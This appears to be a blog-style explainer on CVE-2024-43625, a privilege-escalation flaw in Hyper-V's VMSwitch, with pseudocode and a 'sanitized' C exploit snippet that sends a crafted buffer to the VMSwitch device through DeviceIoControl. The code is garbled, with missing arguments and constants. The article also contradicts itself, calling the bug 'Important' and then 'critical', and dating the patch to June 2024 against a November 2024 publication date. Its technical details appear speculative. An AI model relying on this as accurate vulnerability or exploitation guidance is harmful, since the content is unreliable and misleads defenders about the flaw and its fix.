CVE-2024-43625 is a recently discovered Elevation of Privilege (EoP) vulnerability in Microsoft Windows Hyper-V's VMSwitch component. This bug allows local attackers to gain SYSTEM privileges on an affected Windows machine, giving them full control.

This vulnerability is rated Important by Microsoft, as it allows users with access to a VM or the host itself to break out of their sandbox and perform actions as the highest-privileged user.

Read the Microsoft advisory here:
Microsoft Security Response Center | CVE-2024-43625

How Does It Work?

The issue lies in the VMSwitch (Virtual Machine Switch) service, a Hyper-V component responsible for managing virtual network switches. Improper input validation in a VMSwitch API, accessible by low-privilege users, can be abused to perform unauthorized operations.

Technical Details

While Microsoft hasn't disclosed the full technical write-up, security researchers have analyzed the patch to deduce the problem.

The vulnerable function manages how VMs communicate with the VMSwitch for tasks like network configuration. If crafted input is sent, VMSwitch mishandles permissions allowing arbitrary code execution as SYSTEM.

In simplified pseudocode

// Pseudo vulnerable handler
int HandleVMSwitchRequest(USERREQ req) {
    // No strict validation of input object
    VIRTUAL_SWITCH_OBJ *vs = FindVMSwitchObject(req.switch_id);
    if (!vs) return ERROR_INVALID;  // Basic check

    // Unsafe: No further permission checks
    PerformPrivilegedAction(vs, req.action);

    // Attacker’s action runs with elevated privileges
    return SUCCESS;
}

Exploiting CVE-2024-43625

Target: Windows 10, 11, and Windows Server with Hyper-V enabled and a VM Switch configured.

Attacker's Needs:

Preparation

The attacker writes a program that sends a malformed or specifically-crafted request to the VMSwitch management interface.

Sample (Conceptual) Exploit Snippet

_Note: For security reasons, this is a sanitized example highlighting the flow without weaponizing it._

#include <windows.h>
#include <stdio.h>

int main() {
    // Open handle to VMSwitch device (pseudo-name)
    HANDLE hDevice = CreateFile("\\\\.\\Global\\VMSwitch", 
        GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, , NULL);

    if(hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open VMSwitch device.\n");
        return 1;
    }

    // Prepare malformed or privileged input
    char evilInput[256];
    memset(evilInput, x41, sizeof(evilInput));
    // Potentially set fields to request SYSTEM action

    DWORD bytesReturned;
    DeviceIoControl(hDevice, x222003, evilInput, sizeof(evilInput),
        NULL, , &bytesReturned, NULL);

    printf("Request sent. Check if privileges are escalated.\n");
    CloseHandle(hDevice);
    return ;
}

This sample demonstrates the steps: open a handle to the device, send a specially-crafted input buffer, and, if vulnerable, receive escalated privileges.

Real-world exploits may use PowerShell, C#, or other languages to trigger the bug.

How Can It Be Fixed?

Patch Immediately:
Microsoft has released updates as part of the June 2024 Patch Tuesday. Update your Windows systems (host and guest VMs) as soon as possible:

- Windows 10 Update
- Windows 11 Update
- Windows Server Update

Additional References

- Microsoft Advisory: CVE-2024-43625
- NIST NVD: CVE-2024-43625
- Microsoft Hyper-V Security Best Practices

Summary

CVE-2024-43625 is a critical reminder that even virtualization boundaries can be breached. If you manage Hyper-V environments, patch your systems now and follow best practices for securing privileged services.

Timeline

Published on: 11/12/2024 18:15:30 UTC
Last modified on: 01/01/2025 00:14:16 UTC